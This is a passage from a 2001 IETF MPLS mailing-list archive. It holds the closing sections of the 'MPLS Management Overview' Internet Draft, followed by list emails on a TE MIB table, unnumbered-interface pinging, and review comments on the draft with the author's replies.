   extended and augmented to facilitate the technology being
   produced by this working group.


6. Security Considerations



Nadeau et al.               Expires April 2002               [Page 7]
=0C
Internet Draft          MPLS Management Overview         October 2001



  =20
   This document describes the inter-relationships amongst the
   different MIBs relevant to MPLS management and as such does
   not have any security implications beyond those imposed by
   these MIBs themselves.


7. Acknowledgments
  =20
   TBD.


8. References
  =20
   [TCMIB]       Nadeau, T., Cucchiara, J., Srinivasan, C,
                 Viswanathan, A. and H. Sjostrand,
                 "Definition of Textual Conventions and
                 OBJECT-IDENTITIES for Multi-Protocol Label
                 Switching (MPLS) Management", Internet Draft
                 <draft-ietf-mpls-tc-mib-02.txt>, August
                 2001.
  =20
   [LSRMIB]      Srinivasan, C., Viswanathan, A. and T.
                 Nadeau, "MPLS Label Switch Router Management
                 Information Base Using SMIv2", Internet
                 Draft <draft-ietf-mpls-lsr-mib-07.txt>,
                 January 2001.
  =20
   [TEMIB]       Srinivasan, C., Viswanathan, A. and T.
                 Nadeau, "MPLS Traffic Engineering Management
                 Information Base Using SMIv2", Internet
                 Draft <draft-ietf-mpls-te-mib-07.txt>,
                 August 2001.
  =20
   [FTNMIB]      Nadeau, T., Srinivasan, C., and A.
                 Viswanathan, "Multiprotocol Label Switching
                 (MPLS) FEC-To-NHLFE (FTN) Management
                 Information Base", Internet Draft <draft-
                 ietf-mpls-ftn-mib-03.txt>, August 2001.
  =20
   [LBMIB]       Dubuc, M., Dharanikota, S., Nadeau, T., J.
                 Lang, "Link Bundling Management Information
                 Base Using SMIv2", Internet Draft <draft-
                 ietf-mpls-bundle-mib-00.txt>, September
                 2001.
  =20
   [PWE3ARCH]    Pate, P., Xiao, X., White., C., Kompella.,
                 K., Malis, A., Johnson, T., and T. Nadeau,
                 "Framework for Pseudo Wire Emulation Edge-to-
                 Edge (PWE3)", Internet Draft <draft-ietf-



Nadeau et al.               Expires April 2002               [Page 8]
=0C
Internet Draft          MPLS Management Overview         October 2001



                 pwe3-framework-00.txt>, September, 2001.
  =20
   [PPVPNFW]     Callon, R., Suzuki, M., Gleeson, B., Malis,
                 A., Muthukrishnan, K., Rosen, E., Sargor,
                 C., and J. Yu, "A Framework for Provider
                 Provisioned Virtual Private Networks",
                 Internet Draft <draft-ietf-ppvpn-framework-
                 01.txt>, July 2001.
  =20
   [RFC1155]     Rose, M., and K. McCloghrie, "Structure and
                 Identification of Management Information for
                 TCP/IP-based Internets", RFC 1155, May 1990.
  =20
   [RFC1157]     Case, J., Fedor, M., Schoffstall, M., and J.
                 Davin, "Simple Network Management Protocol",
                 RFC 1157, May 1990.
  =20
   [RFC1212]     Rose, M., and K. McCloghrie, "Concise MIB
                 Definitions", RFC 1212, March 1991.
  =20
   [RFC1215]     M. Rose, "A Convention for Defining Traps
                 for use with the SNMP", RFC 1215, March
                 1991.
  =20
   [RFC1901]     Case, J., McCloghrie, K., Rose, M., and S.
                 Waldbusser, "Introduction to Community-based
                 SNMPv2", RFC 1901, January 1996.
  =20
   [RFC1905]     Case, J., McCloghrie, K., Rose, M., and S.
                 Waldbusser, "Protocol Operations for Version
                 2 of the Simple Network Management Protocol
                 (SNMPv2)", RFC 1905, January 1996.
  =20
   [RFC1906]     Case, J., McCloghrie, K., Rose, M., and S.
                 Waldbusser, "Transport Mappings for Version
                 2 of the Simple Network Management Protocol
                 (SNMPv2)", RFC 1906, January 1996.
  =20
   [RFC2026]     S. Bradner, "The Internet Standards Process
                 -- Revision 3", RFC 2026, October 1996.
  =20
   [RFC2233]     McCloghrie, K. and F. Kastenholtz, "The
                 Interface Group MIB Using SMIv2", RFC 2233,
                 November 1997.
  =20
   [RFC2570]     Case, J., Mundy, R., Partain, D., and B.
                 Stewart, "Introduction to Version 3 of the
                 Internet-standard Network Management
                 Framework", RFC 2570, April 1999.
  =20



Nadeau et al.               Expires April 2002               [Page 9]
=0C
Internet Draft          MPLS Management Overview         October 2001



   [RFC2571]     Harrington, D., Presuhn, R., and B. Wijnen,
                 "An Architecture for Describing SNMP
                 Management Frameworks", RFC 2571, April
                 1999.
  =20
   [RFC2572]     Case, J., Harrington D., Presuhn R., and B.
                 Wijnen, "Message Processing and Dispatching
                 for the Simple Network Management Protocol
                 (SNMP)", RFC 2572, April 1999.
  =20
   [RFC2573]     Levi, D., Meyer, P., and B. Stewart, "SNMPv3
                 Applications", RFC 2573, April 1999.
  =20
   [RFC2574]     Blumenthal, U., and B. Wijnen, "User-based
                 Security Model (USM) for version 3 of the
                 Simple Network Management Protocol
                 (SNMPv3)", RFC 2574, April 1999.
  =20
   [RFC2575]     Wijnen, B., Presuhn, R., and K. McCloghrie,
                 "View-based Access Control Model (VACM) for
                 the Simple Network Management Protocol
                 (SNMP)", RFC 2575, April 1999.
  =20
   [RFC2578]     McCloghrie, K., Perkins, D., Schoenwaelder,
                 J., Case, J., Rose, M., and S. Waldbusser,
                 "Structure of Management Information Version
                 2 (SMIv2)", STD 58, RFC 2578, April 1999.
  =20
   [RFC2579]     McCloghrie, K., Perkins, D., Schoenwaelder,
                 J., Case, J., Rose, M., and S. Waldbusser,
                 "Textual Conventions for SMIv2", STD 58, RFC
                 2579, April 1999.
  =20
   [RFC2580]     McCloghrie, K., Perkins, D., Schoenwaelder,
                 J., Case, J., Rose, M., and S. Waldbusser,
                 "Conformance Statements for SMIv2", STD 58,
                 RFC 2580, April 1999.
  =20
   [RFC3031]     Rosen, E., Viswanathan, A., and R. Callon,
                 "Multiprotocol Label Switching
                 Architecture", RFC 3031, January 2001.


9. Authors' Addresses

  Thomas D. Nadeau
  Cisco Systems, Inc.
  300 Apollo Drive
  Chelmsford, MA 01824
  Phone: +1-978-244-3051



Nadeau et al.               Expires April 2002              [Page 10]
=0C
Internet Draft          MPLS Management Overview         October 2001



  Email: tnadeau@cisco.com

  Cheenu Srinivasan
  Alphion Corp.
  4 Industrial Way West
  Eatontown, NJ 07724
  Phone: +1-732-676-7066
  Email: cheenu@alphion.com

  Adrian Farrel
  Movaz Networks, Inc.
  7926 Jones Branch Drive, Suite 615
  McLean, VA 22102
  Phone: +1-703-847-9847
  Email: afarrel@movaz.com


10.   Full Copyright Statement
  =20
   Copyright (C) The Internet Society (2001). All Rights
   Reserved.
  =20
   This document and translations of it may be copied and
   furnished to others, and derivative works that comment on
   or otherwise explain it or assist in its implementation may
   be prepared, copied, published and distributed, in whole or
   in part, without restriction of any kind, provided that the
   above copyright notice and this paragraph are included on
   all such copies and derivative works.  However, this
   document itself may not be modified in any way, such as by
   removing the copyright notice or references to the Internet
   Society or other Internet organizations, except as needed
   for the purpose of developing Internet standards in which
   case the procedures for copyrights defined in the Internet
   Standards process must be followed, or as required to
   translate it into languages other than English.
  =20
   The limited permissions granted above are perpetual and
   will not be revoked by the Internet Society or its
   successors or assigns. This document and the information
   contained herein is provided on an "AS IS" basis and THE
   INTERNET SOCIETY AND THE INTERNET ENGINEERING TASK FORCE
   DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT
   NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
   HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED
   WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR
   PURPOSE.






Nadeau et al.               Expires April 2002              [Page 11]

------_=_NextPart_000_01C15D59.A1CC7C50--



From owner-mpls@UU.NET  Thu Oct 25 09:26:25 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18738
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 09:26:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmgr04659;
	Thu, 25 Oct 2001 13:26:48 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmgr10955
	for mpls-outgoing; Thu, 25 Oct 2001 13:26:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmgr10942
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 13:26:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmgr13946
	for <mpls@uu.net>; Thu, 25 Oct 2001 13:24:19 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmgr00448
	for <mpls@uu.net>; Thu, 25 Oct 2001 13:24:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA07267 for <mpls@uu.net>; Thu, 25 Oct 2001 09:24:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA22652 for mpls@uu.net; Thu, 25 Oct 2001 09:24:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmgr10682
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 13:23:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmgr05003
	for <mpls@uu.net>; Thu, 25 Oct 2001 13:21:04 GMT
Received: from mail.alphion.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.alphion.com [12.34.209.78])
	id QQlmgr24547
	for <mpls@uu.net>; Thu, 25 Oct 2001 13:21:22 GMT
Received: by OPTONT with Internet Mail Service (5.5.2653.19)
	id <VNBF3Q13>; Thu, 25 Oct 2001 09:38:25 -0400
Message-ID: <176689DD1922D511ABE10001022E4DF229C6C2@OPTONT>
From: Cheenu Srinivasan <cheenu@alphion.com>
To: "'Ashwin C. Prabhu'" <Ashwinp@in.huawei.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Doubt in draft-ietf-mpls-te-mib-07.txt 
Date: Thu, 25 Oct 2001 09:38:17 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Such a table was omitted since there was no consensus to add it.
If you wish to support this you will have to implement it as an
enterprise extension to the standard MIB.

>    If i add this table entry then what about the OID for this entry ? 
>    Can i assign that OID myself ? If that is the case then how does the 
>    NM know about it ? or is it that i have to change the NM according to 
>    my need. If i have to change it, then won't it be something like
private 
>    NM and a private MIB insted of saying it as standard ? 



From owner-mpls@UU.NET  Thu Oct 25 10:23:58 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20144
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 10:23:57 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmgv02971;
	Thu, 25 Oct 2001 14:23:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmgv04880
	for mpls-outgoing; Thu, 25 Oct 2001 14:23:34 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmgv04872
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 14:23:27 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmgv21394
	for <mpls@UU.NET>; Thu, 25 Oct 2001 14:23:10 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmgv20648
	for <mpls@UU.NET>; Thu, 25 Oct 2001 14:23:28 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA15598;
	Thu, 25 Oct 2001 10:23:08 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA03860;
	Thu, 25 Oct 2001 10:23:01 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLCW6M>; Thu, 25 Oct 2001 10:22:54 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C93F@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'Naiming Shen'" <naiming@redback.com>
Cc: "'Eric Gray'" <eric.gray@sandburst.com>, mpls@UU.NET
Subject: RE: Questions on unnumbered links 
Date: Thu, 25 Oct 2001 10:22:52 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Naiming:

  Thanks for your comments...please look at my inline comments.

[sinp]
->  ]    Finally, draft reads...
->  ]
->  ]		Note, however, that use of the IP unnumbered
->  ]		option for point-to-point LAN links inherits the same 
->  ]            problems as those present for serial links, i.e., not 
->  ]            being able to ping or monitor a specific interface 
->  ]            between routers.
->  ]
->  ]    Can you please explain why can't we able to ping/monitor a 
->  ]    specific unnumbered interface between routers? What is 
->  ]    preventing in present IP unnumbered case?
-> 
-> Hmm? how can you ping an unnumbered interface of a remote router
-> multiple hops away? how can you be sure which path it took to reach
-> the router if it has more than one interface connected?

  huh...I may be missing something here or you may be missing something :)
  You mean to say, you can't reach an unnumbered interface?

              -------B--------
              |1             |
              A              D
              |2             | 
              -------C--------

  Let us consider all the interfaces are unnumbered. But the requirement
  is a router should have at least one *unique* identity in the topology
  (after all we want to reach the desired router and _not_ the interface)
  So, let us consider all routers assigns, their respecting loopback 
  addresses to all the links.

  Router A's Routing Table looks like this:
       Dest      Nexthop      Outgoing intf   flags....
      =================================================
        D         xxxxx            1          Remote
        B         xxxxx            1          Local
        C         xxxxx            2          Local

  After all A chooses, one of the *best* paths to reach D. i.e.,
  one of the outgoing interfaces to reach D. (either intf 1 or 2)
  I didn't see any problem here to reach D. More over, why does 
  application care about which interface packets came on!
  
  As per RFC1122 *weak end system model* doesn't care about 
  interfaces to IP address matching.

  As per RFC1812 is considered, my understanding is, *unnumbered 
  interface* still has a valid IP address but is not *unique*!

--Venkata Naidu


From owner-mpls@UU.NET  Thu Oct 25 13:30:26 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA24805
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 13:30:26 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmhi13941;
	Thu, 25 Oct 2001 17:30:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmhi17666
	for mpls-outgoing; Thu, 25 Oct 2001 17:30:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmhi17659
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 17:30:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmhh21156
	for <mpls@uu.net>; Thu, 25 Oct 2001 17:29:39 GMT
Received: from fcs-nt1.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fcs-nt1.futsoft.com [66.122.42.228])
	id QQlmhh18950
	for <mpls@uu.net>; Thu, 25 Oct 2001 17:29:56 GMT
Received: from sanjose.futsoft.com (unverified) by fcs-nt1.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with SMTP id <B0000411189@fcs-nt1.futsoft.com>;
 Thu, 25 Oct 2001 10:31:16 -0700
Received: from manis (adsl-66-122-42-231.futsoft.com [66.122.42.231])
	by sanjose.futsoft.com (8.9.3/8.8.7) with SMTP id JAA20862;
	Thu, 25 Oct 2001 09:12:57 -0700
Received: by localhost with Microsoft MAPI; Thu, 25 Oct 2001 10:34:18 -0700
Message-Id: <01C15D40.9A2E4BE0.manis@futsoft.com>
From: "S.Manikantan" <manis@futsoft.com>
Reply-To: "manis@futsoft.com" <manis@futsoft.com>
To: "'Cheenu Srinivasan'" <cheenu@alphion.com>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>
Subject: RE: draft-ietf-mpls-mgmt-overview-00.txt posted
Date: Thu, 25 Oct 2001 10:34:17 -0700
Organization: Future Communications Software
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello Cheenu

Please find below my comments on the draft.

with best regards
mani
(S.Manikantan)

Comment 1:
"1. Introduction
  ... 
   Multi-Protocol Label Switching (MPLS) [MPLSArch].
                                         ^^^^^^^^^^
  ..."

"2. Terminology
 ...  
   document [MPLSArch] and various MPLS-related MIBs such as
            ^^^^^^^^^^^
 ..."

Mani>> The reference can be changed to RFC3031.

Comment 2:
"2. Terminology
 ...
   [TEMIB], MPLS-LDP-MIB [LDPMIB], MPLS-FTN-MIB [FTNMIB], and
                         ^^^^^^^^^
 ..."

Mani>> The reference to LDPMIB needs to be added to section 8
References.

Comment 3:
"4.2.  MPLS-LSR-MIB
   
   The MPLS-LSR-MIB describes managed objects for modeling a
               ^^^^^^^^
   ..."

Mani>> The reference to LSRMIB needs to be added?? 

Comment 4:
"4.2.  MPLS-LSR-MIB
   ...
   MPLS cross-connect table (mplsXCTable) in the LSR MIB. MPLS
                                                 ^^^^^^^
   ..."

Mani>> Should it be MPLS-LSR-MIB for consistency?

Comment 5:
"4.3.  MPLS-LDP-MIB
   ...
   Distribution Protocol (LDP).
                        ^^^^^^^
   ..."

Mani>> Reference to RFC 3036 can be mentioned here, and RFC3036
can be added to section 8. References.

Comment 6:
" 4.7.  PPVPN-MPLS-VPN-MIB
   
   The PPVPN-MPLS-VPN-MIB [VPNMIB] describes managed objects
                        ^^^^^^^^^^

   that are used to model and manage RFC2277bis MPLS VPNs.
                                     ^^^^^^^^^^
   ..."

Mani>> a) Reference to VPNMIB needs to be added in Section 8 References.
       b) RFC2277bis - should this be RFC2547bis??

Comment 7:
"5.2.  Provider Provisioned Virtual Private Network MIBs
  ...
   MIBs, as this MIB is described above in section
                                            ^^^^^^^^^^
  ..."

Mani>> section "4.7" - needs added.


-----Original Message-----
From:	Cheenu Srinivasan [SMTP:cheenu@alphion.com]
Sent:	Thursday, October 25, 2001 6:33 AM
To:	'mpls@UU.NET'; 'ccamp@ops.ietf.org'
Subject:	draft-ietf-mpls-mgmt-overview-00.txt posted

I have posted draft-ietf-mpls-mgmt-overview-00.txt and it should
appear on the IETF site shortly. A copy of this I-D is attached.

Cheenu

> -----Original Message-----
> From: George Swallow [mailto:swallow@cisco.com]
> Sent: Tuesday, October 23, 2001 4:37 PM
> Subject: Re: draft-nadeau-mpls-mgmt-overview-00.txt 
> 
> 
> Given that many have supported the idea and none have opposed, the
> above draft is accepted as a work group draft.
> 
> ...George

 << File: draft-ietf-mpls-mgmt-overview-00.txt >> 


From owner-mpls@UU.NET  Thu Oct 25 13:47:58 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25349
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 13:47:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmhj27180;
	Thu, 25 Oct 2001 17:48:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmhj19277
	for mpls-outgoing; Thu, 25 Oct 2001 17:47:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmhj19272
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 17:47:24 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmhj15571
	for <mpls@uu.net>; Thu, 25 Oct 2001 17:47:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmhj14115
	for <mpls@uu.net>; Thu, 25 Oct 2001 17:46:52 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA15689 for <mpls@uu.net>; Thu, 25 Oct 2001 13:47:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA04700 for mpls@uu.net; Thu, 25 Oct 2001 13:47:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmhj19162
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 17:46:03 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmhi09035
	for <mpls@UU.NET>; Thu, 25 Oct 2001 17:44:15 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmhi09277
	for <mpls@UU.NET>; Thu, 25 Oct 2001 17:44:05 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA15173; Thu, 25 Oct 2001 13:44:13 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABE10071;
	Thu, 25 Oct 2001 13:44:10 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011025134139.03e30360@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 25 Oct 2001 13:45:09 -0400
To: "manis@futsoft.com" <manis@futsoft.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: RE: draft-ietf-mpls-mgmt-overview-00.txt posted
Cc: "'Cheenu Srinivasan'" <cheenu@alphion.com>, "'mpls@UU.NET'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>
In-Reply-To: <01C15D40.9A2E4BE0.manis@futsoft.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_103563196==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_103563196==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 10:34 AM 10/25/2001 -0700, S.Manikantan wrote:
>Hello Cheenu
>
>Please find below my comments on the draft.
>
>with best regards
>mani
>(S.Manikantan)
>
>Comment 1:
>"1. Introduction
>   ...
>    Multi-Protocol Label Switching (MPLS) [MPLSArch].
>                                          ^^^^^^^^^^
>   ..."
>
>"2. Terminology
>  ...
>    document [MPLSArch] and various MPLS-related MIBs such as
>             ^^^^^^^^^^^
>  ..."
>
>Mani>> The reference can be changed to RFC3031.

         Okay.


>Comment 2:
>"2. Terminology
>  ...
>    [TEMIB], MPLS-LDP-MIB [LDPMIB], MPLS-FTN-MIB [FTNMIB], and
>                          ^^^^^^^^^
>  ..."
>
>Mani>> The reference to LDPMIB needs to be added to section 8

         Okay.

>References.
>
>Comment 3:
>"4.2.  MPLS-LSR-MIB
>
>    The MPLS-LSR-MIB describes managed objects for modeling a
>                ^^^^^^^^
>    ..."
>
>Mani>> The reference to LSRMIB needs to be added??

         Yes.

>Comment 4:
>"4.2.  MPLS-LSR-MIB
>    ...
>    MPLS cross-connect table (mplsXCTable) in the LSR MIB. MPLS
>                                                  ^^^^^^^
>    ..."
>
>Mani>> Should it be MPLS-LSR-MIB for consistency?

         Sure.

>Comment 5:
>"4.3.  MPLS-LDP-MIB
>    ...
>    Distribution Protocol (LDP).
>                         ^^^^^^^
>    ..."
>
>Mani>> Reference to RFC 3036 can be mentioned here, and RFC3036
>can be added to section 8. References.
>
>Comment 6:
>" 4.7.  PPVPN-MPLS-VPN-MIB
>
>    The PPVPN-MPLS-VPN-MIB [VPNMIB] describes managed objects
>                         ^^^^^^^^^^
>
>    that are used to model and manage RFC2277bis MPLS VPNs.
>                                      ^^^^^^^^^^
>    ..."
>
>Mani>> a) Reference to VPNMIB needs to be added in Section 8 References.
>        b) RFC2277bis - should this be RFC2547bis??

         Typo, yes.

>Comment 7:
>"5.2.  Provider Provisioned Virtual Private Network MIBs
>   ...
>    MIBs, as this MIB is described above in section
>                                             ^^^^^^^^^^
>   ..."
>
>Mani>> section "4.7" - needs added.

         Thanks for the comments.

         --Tom




>-----Original Message-----
>From:   Cheenu Srinivasan [SMTP:cheenu@alphion.com]
>Sent:   Thursday, October 25, 2001 6:33 AM
>To:     'mpls@UU.NET'; 'ccamp@ops.ietf.org'
>Subject:        draft-ietf-mpls-mgmt-overview-00.txt posted
>
>I have posted draft-ietf-mpls-mgmt-overview-00.txt and it should
>appear on the IETF site shortly. A copy of this I-D is attached.
>
>Cheenu
>
> > -----Original Message-----
> > From: George Swallow [mailto:swallow@cisco.com]
> > Sent: Tuesday, October 23, 2001 4:37 PM
> > Subject: Re: draft-nadeau-mpls-mgmt-overview-00.txt
> >
> >
> > Given that many have supported the idea and none have opposed, the
> > above draft is accepted as a work group draft.
> >
> > ...George
>
>  << File: draft-ietf-mpls-mgmt-overview-00.txt >>



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_103563196==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3>At 10:34 AM 10/25/2001 -0700, S.Manikantan wrote:<br>
<blockquote type=cite cite>Hello Cheenu<br>
<br>
Please find below my comments on the draft.<br>
<br>
with best regards<br>
mani<br>
(S.Manikantan)<br>
<br>
Comment 1:<br>
&quot;1. Introduction<br>
&nbsp; ... <br>
&nbsp;&nbsp; Multi-Protocol Label Switching (MPLS) [MPLSArch].<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^^^^<br>
&nbsp; ...&quot;<br>
<br>
&quot;2. Terminology<br>
&nbsp;...&nbsp; <br>
&nbsp;&nbsp; document [MPLSArch] and various MPLS-related MIBs such
as<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^^^^^<br>
&nbsp;...&quot;<br>
<br>
Mani&gt;&gt; The reference can be changed to
RFC3031.</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Okay.<br>
<br>
<br>
<blockquote type=cite cite><font size=3>Comment 2:<br>
&quot;2. Terminology<br>
&nbsp;...<br>
&nbsp;&nbsp; [TEMIB], MPLS-LDP-MIB [LDPMIB], MPLS-FTN-MIB [FTNMIB],
and<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^^^<br>
&nbsp;...&quot;<br>
<br>
Mani&gt;&gt; The reference to LDPMIB needs to be added to section
8</font></blockquote><br>
